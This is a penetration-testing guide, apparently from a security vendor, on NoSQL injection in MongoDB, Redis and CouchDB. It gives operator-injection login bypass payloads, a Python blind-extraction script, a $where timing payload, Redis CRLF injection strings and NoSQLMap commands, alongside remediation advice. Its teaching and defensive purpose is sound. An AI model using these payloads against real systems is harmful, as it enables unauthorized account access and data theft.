NoSQL Injection Testing: MongoDB, Redis, and Modern Database Attacks
A login endpoint accepts a JSON body with username and password. The backend passes those fields directly into a MongoDB query. An attacker replaces the string values with MongoDB operator objects — {"$ne": null} instead of a password — and the database happily evaluates the query as "find any user where password is not null." Authentication bypassed. Every account in the database is now accessible.
NoSQL databases were supposed to escape the injection problem. No SQL syntax meant no SQL injection, the logic went. What actually happened is that the attack surface shifted: instead of SQL grammar, attackers now inject query operators, JavaScript expressions, and protocol-level commands. The vulnerability class is just as dangerous, and it's frequently less well understood by the developers building applications on top of these databases.
This guide covers the full testing methodology for NoSQL injection across MongoDB, Redis, and CouchDB — the three most commonly deployed NoSQL databases in web applications. We cover operator injection, authentication bypass, blind extraction techniques, Redis CRLF injection, and the remediation patterns that actually prevent exploitation.
Why NoSQL Injection Is Different from SQL Injection
SQL injection works by breaking out of a string literal context and inserting SQL grammar. The quotes, semicolons, and comment sequences that make SQL injection possible don't exist in most NoSQL query languages — because there is no query language in the traditional sense. MongoDB queries are BSON documents, Redis uses a binary protocol, and CouchDB uses JSON over HTTP. The parser is different. The injection vector is different. But the root cause is identical: user-supplied data is being interpreted as query logic rather than as a value.
In MongoDB, the query operators are the injection vector. Instead of quoting out of a string and appending SQL, an attacker submits a JSON object where the application expects a scalar value. If the backend code does db.users.findOne({username: req.body.username, password: req.body.password}), and the attacker sends {"password": {"$ne": "anything"}}, MongoDB receives a query with an operator expression rather than a literal comparison. The database evaluates it faithfully: find a user where the password field is not equal to the string "anything" — which matches almost every document in the collection.
The critical structural difference from SQL injection: NoSQL injection often requires the HTTP request to carry structured data (JSON) rather than plain string parameters. Applications that parse request bodies as JSON and pass fields directly to query constructors are the primary target. URL-encoded form parameters need a different attack path — typically abusing array-to-object coercion in frameworks that automatically parse password[$ne]=x into {"password": {"$ne": "x"}}.
MongoDB Operator Injection
MongoDB's query language includes a rich set of comparison, logical, and evaluation operators. Each of these becomes a potential injection payload when user input reaches a query without sanitization.
The Core Operators
The operators most commonly abused in injection attacks:
| Operator | Meaning | Injection Use |
|---|---|---|
$ne |
Not equal | Match any document where field doesn't equal a given value — bypasses equality checks |
$gt |
Greater than | Match documents where field is greater than value — {"$gt": ""} matches any non-empty string |
$regex |
Regular expression match | Extract data character by character in blind injection by probing field values with regex patterns |
$where |
JavaScript expression evaluation | Execute arbitrary JavaScript on the server — enables time-based blind injection and data extraction |
$exists |
Field existence check | Confirm the presence of sensitive fields, or match documents that have a field regardless of its value |
$in |
Match against array of values | Enumerate valid field values by iterating a candidate list |
JSON Body Injection
The cleanest injection vector. An application accepts Content-Type: application/json and passes the parsed body directly to a MongoDB query. Consider a typical login endpoint:
// Vulnerable Node.js / Express code
app.post('/login', async (req, res) => {
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password
});
if (user) res.json({ token: generateToken(user) });
else res.status(401).json({ error: 'Invalid credentials' });
});
The attacker sends:
POST /login HTTP/1.1
Content-Type: application/json
{
"username": "admin",
"password": {"$ne": null}
}
MongoDB receives db.users.findOne({username: "admin", password: {$ne: null}}). The query returns the admin document because the admin's password is not null. Authentication succeeds without knowing the password.
Variations on this payload:
// Match any user (not just admin) — returns the first user in the collection
{"username": {"$ne": null}, "password": {"$ne": null}}
// Match any user with a non-empty password
{"username": {"$ne": null}, "password": {"$gt": ""}}
// Match using regex — useful when you know part of the value
{"username": {"$regex": "^adm"}, "password": {"$ne": null}}
// Combine operators
{"username": "admin", "password": {"$exists": true}}
URL-Encoded Parameter Injection (Array Coercion)
Many web frameworks — Express with qs, PHP's query string parser, Rails — automatically interpret bracket notation in query parameters as nested objects or arrays. This means the injection can work even without a JSON body:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=x
The qs library (the default in Express) parses password[$ne]=x into {password: {$ne: "x"}}. The MongoDB query is identical to the JSON injection. This attack path works against any application that uses bracket-notation URL parsing, regardless of whether the API was designed to accept JSON.
Testing both vectors is important. An endpoint might reject Content-Type: application/json bodies with operator objects while remaining vulnerable to the form-encoded bracket notation.
Authentication Bypass Patterns
Authentication bypass is the most immediately impactful NoSQL injection scenario. The patterns worth testing on every login endpoint:
The $ne: null Pattern
The most reliable bypass. Any field that stores a value — password, token, API key — will have a non-null value in documents that represent valid accounts. {"$ne": null} matches all of them.
// Target endpoint behavior with injection
// Original query: db.users.findOne({email: "x@x.com", password: "wrong"})
// Result: null → 401 Unauthorized
// Injected query: db.users.findOne({email: "x@x.com", password: {$ne: null}})
// Result: the user document → 200 OK with JWT token
The $gt: "" Pattern
Alternative to $ne: null. In MongoDB, the empty string sorts before any non-empty string in lexicographic order. {"$gt": ""} matches any field value that is a non-empty string — which covers virtually every stored password hash.
{"username": "victim@example.com", "password": {"$gt": ""}}
This payload is useful when $ne is blacklisted but $gt is not. Both achieve the same result in practice.
Bypassing Username and Password Together
If you don't know any valid usernames, inject both fields:
{
"username": {"$ne": "nonexistent_user_xyzzy"},
"password": {"$ne": "wrong_password_xyzzy"}
}
This returns the first document in the users collection that has non-matching values for both fields — which is almost certainly the first user ever created, often an admin account. Combined with $gt: "" on the username, you can iterate through the collection one document at a time using the $gt operator as a cursor.
Blind NoSQL Injection
When the application doesn't return data from the query directly — only a success/failure indicator — blind injection techniques allow you to extract data one bit at a time by observing differences in application behavior.
Boolean-Based Blind Extraction
The $regex operator is the primary tool for boolean-based blind extraction in MongoDB. By sending a regex that matches or doesn't match a known field value, you can infer the field's content character by character:
// Does the admin's password hash start with 'a'?
POST /login
{"username": "admin", "password": {"$regex": "^a"}}
// → 200 OK means yes, 401 means no
// Does it start with 'ab'?
{"username": "admin", "password": {"$regex": "^ab"}}
// → 401 means the second character is not 'b'
// Does it start with 'ac'?
{"username": "admin", "password": {"$regex": "^ac"}}
// ...and so on
In practice, you'd automate this with a binary search over the character set, using anchored regex patterns to narrow the value of each character position. A bcrypt hash (60 characters) would take roughly 60 × 7 = 420 requests to extract fully — well within the range of automated tooling.
Python script for automated boolean-based extraction:
import requests
import string
TARGET = "https://target.example.com/login"
CHARSET = string.ascii_letters + string.digits + string.punctuation
USERNAME = "admin"
def check(regex):
r = requests.post(TARGET, json={
"username": USERNAME,
"password": {"$regex": regex}
})
return r.status_code == 200
extracted = ""
while True:
found = False
for char in CHARSET:
# Escape regex metacharacters in the extracted prefix
prefix = extracted + char
escaped = prefix.replace(".", "\\.").replace("+", "\\+")
if check(f"^{escaped}"):
extracted += char
print(f"[+] Extracted so far: {extracted}")
found = True
break
if not found:
print(f"[*] Final value: {extracted}")
break
Time-Based Blind Injection via $where
MongoDB's $where operator executes a JavaScript expression on each document in the collection. This is a powerful — and dangerous — feature that was enabled by default in older MongoDB versions and can still be enabled in misconfigured deployments. When $where is available, you can introduce artificial delays to exfiltrate data through timing:
// Does the admin's API key start with 'f'?
// If yes, sleep 3 seconds. If no, return immediately.
{
"username": "admin",
"password": {
"$where": "this.username == 'admin' && this.apiKey.startsWith('f') && (function(){var d=new Date();while(new Date()-d<3000){}return true;})()"
}
}
A response time greater than 3 seconds confirms the condition is true. This technique works even when the application returns the same HTTP status code for all outcomes — as long as you can measure response time reliably.
Note on $where availability: MongoDB disabled JavaScript execution in $where by default in version 4.4+ (with the --noscripting option and disabling javascriptEnabled in the security configuration). However, many production deployments run older versions, or have explicitly re-enabled JavaScript. Always test for $where availability, especially on applications running MongoDB 3.x or 4.2 and earlier.
Redis Injection
Redis uses a text-based protocol called RESP (Redis Serialization Protocol). Unlike MongoDB's document-based queries, Redis commands are sent as newline-delimited text. This makes Redis vulnerable to a different class of injection: CRLF injection, where an attacker injects newline sequences (\r\n) into user-supplied data to append additional Redis commands to a connection.
CRLF Injection into Redis Commands
Consider a session storage pattern where the application builds a Redis SET command using user-supplied input:
# Vulnerable Python code
def store_session(session_id, user_id):
redis_client.execute_command(f"SET session:{session_id} {user_id}")
If session_id contains CRLF characters, the injected content terminates the current Redis command and begins a new one:
# Attacker-supplied session_id:
# "abc\r\nSET admin_session admin_id\r\n"
# The constructed Redis command becomes:
SET session:abc
SET admin_session admin_id
# Two commands execute. The attacker has written an arbitrary key.
In a real attack, this might look like an HTTP request where the session ID parameter is URL-encoded:
GET /profile HTTP/1.1
Cookie: session=abc%0d%0aSET%20injected_key%20injected_value%0d%0a
The application decodes the session cookie, constructs a Redis GET command, and the injected CRLF characters break into a second command. The attacker can write arbitrary keys, overwrite existing keys, or — in older Redis versions — use the CONFIG SET command to write files to disk (a technique historically used to achieve RCE via writing SSH authorized keys or cron jobs).
Secondary Injection Through Cached Data
A subtler Redis injection pattern occurs when data stored in Redis is later retrieved and used to construct another command. An attacker doesn't need direct access to the Redis write path — they only need to store malicious data through any write endpoint, and then wait for the application to retrieve and use it unsafely.
# Step 1: Attacker stores malicious data through a profile update endpoint
PUT /api/user/profile
{"display_name": "Alice\r\nSET admin_session attacker_token\r\n"}
# Application caches the display name in Redis:
# SET user:42:display_name "Alice\r\nSET admin_session attacker_token\r\n"
# Step 2: Later, the application retrieves the display name and uses it in a pipeline
# GET user:42:display_name
# Result: "Alice\r\nSET admin_session attacker_token\r\n"
# Step 3: Application passes the retrieved value to another Redis command
# PUBLISH notifications "Alice\r\nSET admin_session attacker_token\r\n"
# The CRLF characters break the pipeline, injecting the SET command
This second-order pattern is harder to detect because the injection point and the execution point are separated in time and code. Automated scanners typically find first-order CRLF injection. Second-order injection requires understanding the data flow through the cache layer.
Testing Redis Injection Manually
When probing for Redis CRLF injection, the following payloads cover the main cases:
# Basic CRLF test — check if a new key appears after submitting the payload
\r\nSET probe_key probe_value\r\n
# URL-encoded equivalent
%0d%0aSET%20probe_key%20probe_value%0d%0a
# Newline-only (LF) — some Redis clients strip CR but not LF
\nSET probe_key probe_value\n
# Confirm injection by checking for the key's existence
# If you have any read endpoint that reflects Redis data, look for probe_key
Inject into every parameter that reaches Redis: session identifiers, cache keys derived from user input, pub/sub channel names built from user data, and any value stored in Redis through a user-facing write endpoint.
CouchDB Injection
CouchDB exposes its entire API over HTTP using JSON documents. This creates a different injection surface: attackers target the Mango query syntax (CouchDB's MongoDB-inspired query language) and, in older versions, arbitrary JavaScript execution in map/reduce views and the Futon/Fauxton admin interface.
Mango Query Injection
CouchDB's Mango query API (_find endpoint) accepts JSON selector documents similar to MongoDB. The same operator injection techniques apply:
POST /userdb/_find HTTP/1.1
Content-Type: application/json
{
"selector": {
"username": "admin",
"password": {"$ne": null}
}
}
If an application builds a Mango selector from user-supplied fields without sanitization, it is vulnerable to the same $ne, $gt, and $regex bypasses as MongoDB.
Parameter Pollution in the _changes Feed
CouchDB's _changes feed accepts a filter parameter that can reference a JavaScript filter function. If the filter function name is constructed from user input, an attacker can point the feed at a malicious or permissive filter, leaking document IDs and change events they shouldn't see.
CVE-2017-12635 and Admin Party Mode
CouchDB has a history of severe authentication bypass vulnerabilities. CVE-2017-12635 allowed unauthenticated users to create admin accounts by sending a malformed PUT request. When testing CouchDB deployments, always verify that admin party mode is disabled (a fresh CouchDB install with no admin accounts configured allows all requests as admin) and that known CVEs are patched. Check /_session for the current authentication context and /_config/admins for whether admin accounts are configured.
Testing Methodology
Step 1: Identify NoSQL Endpoints
Before injecting, map which endpoints interact with which database. Indicators that an endpoint talks to MongoDB, Redis, or CouchDB:
- MongoDB: Endpoints that accept JSON bodies and perform lookups by string fields (login, search, filter). Error messages containing "MongoError," "CastError," or "BSON" in stack traces. Applications using Mongoose, Mongoosastic, or
mongodbnpm package. - Redis: Session management endpoints, rate limiting, pub/sub features, leaderboards, caching layers. Errors mentioning "WRONGTYPE," "ERR," or Redis-specific messages. Applications using
ioredis,redis-py,Jedis, or StackExchange.Redis. - CouchDB: Endpoints proxying to
/_find,/_changes, or document IDs. Applications that surface CouchDB document structure (including_idand_revfields) in API responses.
Step 2: Probe with Operator Payloads
For MongoDB endpoints, send both a baseline request and a set of operator injection payloads, comparing responses:
# Baseline — normal string value
POST /api/login
{"username": "test", "password": "test"}
# Inject $ne operator
POST /api/login
{"username": "test", "password": {"$ne": "test"}}
# Inject $gt operator
POST /api/login
{"username": "test", "password": {"$gt": ""}}
# Inject $exists operator
POST /api/login
{"username": "test", "password": {"$exists": true}}
A different HTTP status code, response body, or redirect behavior between the baseline and injected payloads indicates the operator was processed — the endpoint is injectable. If all payloads return identical responses, the application may be sanitizing input, or it may require a specific username to match before the injection takes effect.
Step 3: Burp Suite Configuration for NoSQL Testing
Several Burp Suite configurations improve NoSQL injection testing efficiency:
- Match and Replace rules: Set up rules to automatically append
[$ne]to form parameters in all requests, so you can quickly spot which endpoints change behavior. Useful for scanning application-wide rather than endpoint-by-endpoint. - Intruder with JSON payloads: Use Intruder in Sniper mode on a JSON body parameter, with a payload list of operator objects:
{"$ne": null},{"$gt": ""},{"$regex": ".*"},{"$exists": true}. Grep for response differences. - Logger++ extension: Filter requests by content type and response code to isolate JSON endpoints that return different status codes for different input types — a strong indicator of injection.
- Content-Type switching: Test each endpoint with both
application/jsonandapplication/x-www-form-urlencodedwith bracket notation. Many applications accept both, but developers only think about the JSON path when adding input validation.
Step 4: Automation with NoSQLMap
NoSQLMap is the primary open-source tool for automated NoSQL injection testing. It supports MongoDB operator injection, authentication bypass, and data extraction, with both interactive and command-line modes:
# Install
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip install -r requirements.txt
# Interactive mode — walks through target configuration
python nosqlmap.py
# Test a specific login endpoint for MongoDB injection
python nosqlmap.py --attack 1 \
--url https://target.example.com/api/login \
--post '{"username":"INJECT","password":"test"}' \
--inject-field username
NoSQLMap automates the operator injection payloads, authentication bypass attempts, and data extraction using both boolean-based $regex and time-based $where techniques. For Redis CRLF testing, redis-cli with manual payload construction is the most reliable approach — no single tool covers Redis CRLF injection comprehensively.
The Burp Suite extension Mongo Injection Burp adds NoSQL-specific scan checks to the active scanner, flagging MongoDB operator injection in JSON parameters automatically during a normal Burp scan session. It's a useful complement to manual testing, particularly for coverage across large applications.
Detecting Injection in Responses
Identifying whether an injection attempt succeeded requires knowing what to look for. Response indicators by injection type:
| Indicator | Likely meaning |
|---|---|
| 200 OK with valid session/token when credentials were wrong | Authentication bypass — operator injection succeeded |
| 500 Internal Server Error on operator payload, not on string payload | Operator was processed but caused an error — endpoint is injectable, application may have partial handling |
| Response includes more results than expected (pagination count increases) | Operator widened the query match set — injection succeeded |
| CastError or BSONTypeError in response body | MongoDB rejected the operator type — endpoint processes user input in queries but type validation exists |
| Response time >3s when payload contains JavaScript sleep | $where executed — time-based blind injection channel confirmed |
| New Redis key appears after CRLF payload submission | Redis CRLF injection succeeded — arbitrary command execution on cache layer |
Error message leakage deserves particular attention. MongoDB error objects often include the malformed query structure in the error message when passed through to the HTTP response. This can directly confirm the injection — you can see the operator you injected reflected in the error output. Configure your scanner to flag any response containing "MongoError," "CastError," "BSONTypeError," or "queryPlanner" in the body.
Remediation
MongoDB: Avoid Direct Object Construction from User Input
The root cause of MongoDB operator injection is passing user-controlled values directly as query objects. The fix is to treat user input as scalars — never as query operators. In Node.js/Mongoose:
// VULNERABLE: user input becomes part of the query object
const user = await User.findOne({
username: req.body.username,
password: req.body.password // attacker can send {"$ne": null}
});
// SAFE: explicitly cast to string, then compare as literal value
const user = await User.findOne({
username: String(req.body.username),
password: String(req.body.password) // {"$ne": null}.toString() = "[object Object]"
});
// EVEN BETTER: use an ODM that enforces schema types
const UserSchema = new Schema({
username: { type: String, required: true },
password: { type: String, required: true }
});
// Mongoose will cast operator objects to strings before querying
The String() coercion defeats operator injection because String({"$ne": null}) returns the literal string "[object Object]", which won't match any stored password. This is the MongoDB equivalent of parameterized queries in SQL.
Explicit Type Validation Before Queries
For applications where ODM type coercion isn't sufficient or isn't used, validate that fields are the expected type before passing them to any query:
// Validate input type explicitly
function loginHandler(req, res) {
const { username, password } = req.body;
// Reject if either field is not a primitive string
if (typeof username !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'Invalid input' });
}
// Safe to query — both values are guaranteed to be strings
const user = await db.collection('users').findOne({ username, password });
...
}
This validation should be part of a request validation middleware layer (using a schema validator like Joi, Zod, or AJV) rather than inline code. Defining schemas for all incoming request bodies — specifying that username and password must be strings — causes the validation layer to reject any request where those fields contain objects before the query is ever constructed.
Disable $where and JavaScript Execution in MongoDB
Unless your application explicitly requires server-side JavaScript execution, disable it entirely. In mongod.conf:
security:
javascriptEnabled: false
Or launch mongod with the --noscripting flag. This eliminates time-based blind injection via $where and the $function operator. It does not affect operator injection via $ne, $gt, or $regex — those require type validation to fix.
Redis: Parameterized Commands via Client Libraries
The correct fix for Redis CRLF injection is to never construct Redis commands by string concatenation. All mainstream Redis client libraries provide parameterized command APIs that pass arguments as separate protocol fields, preventing CRLF injection by design:
# VULNERABLE: string concatenation builds the Redis command
redis_conn.execute_command(f"SET session:{user_input} {value}")
# SAFE: pass arguments as separate parameters to the client library
redis_conn.set(f"session:{user_input}", value)
# The redis-py client sends the key and value as separate RESP bulk strings,
# so CRLF characters in user_input cannot terminate the SET command or inject new ones.
The same principle applies to all Redis commands. Use the typed methods provided by your client library — redis.get(key), redis.hset(hash, field, value), redis.publish(channel, message) — rather than raw command strings. The client library handles RESP serialization safely.
Additionally, sanitize or reject inputs that contain \r or \n characters before storing them anywhere that feeds into Redis commands downstream. This provides defense in depth against second-order CRLF injection through the cache layer.
ODM-Level Protections
Object Document Mappers provide a structural defense against operator injection when configured correctly. Mongoose enforces schema types — if a field is defined as String, any object value (including operator objects) will be coerced to its string representation before reaching the database driver. This is not a substitute for input validation, but it provides an important additional layer.
For direct use of the MongoDB Node.js driver without an ODM, consider the mongo-sanitize library, which strips keys beginning with $ from nested objects recursively:
const sanitize = require('mongo-sanitize');
app.post('/login', async (req, res) => {
const clean = sanitize(req.body); // strips all $ keys from the object
const user = await db.collection('users').findOne({
username: clean.username,
password: clean.password
});
...
});
Operator key stripping is a useful defense but not a complete one — some legitimate MongoDB operators may be stripped unnecessarily, and it doesn't protect against all injection patterns. Type validation remains the primary fix; sanitization is defense in depth.
Ironimo automatically tests MongoDB and Redis endpoints for injection patterns — including operator injection, authentication bypass, and CRLF injection — as part of a comprehensive web application scan.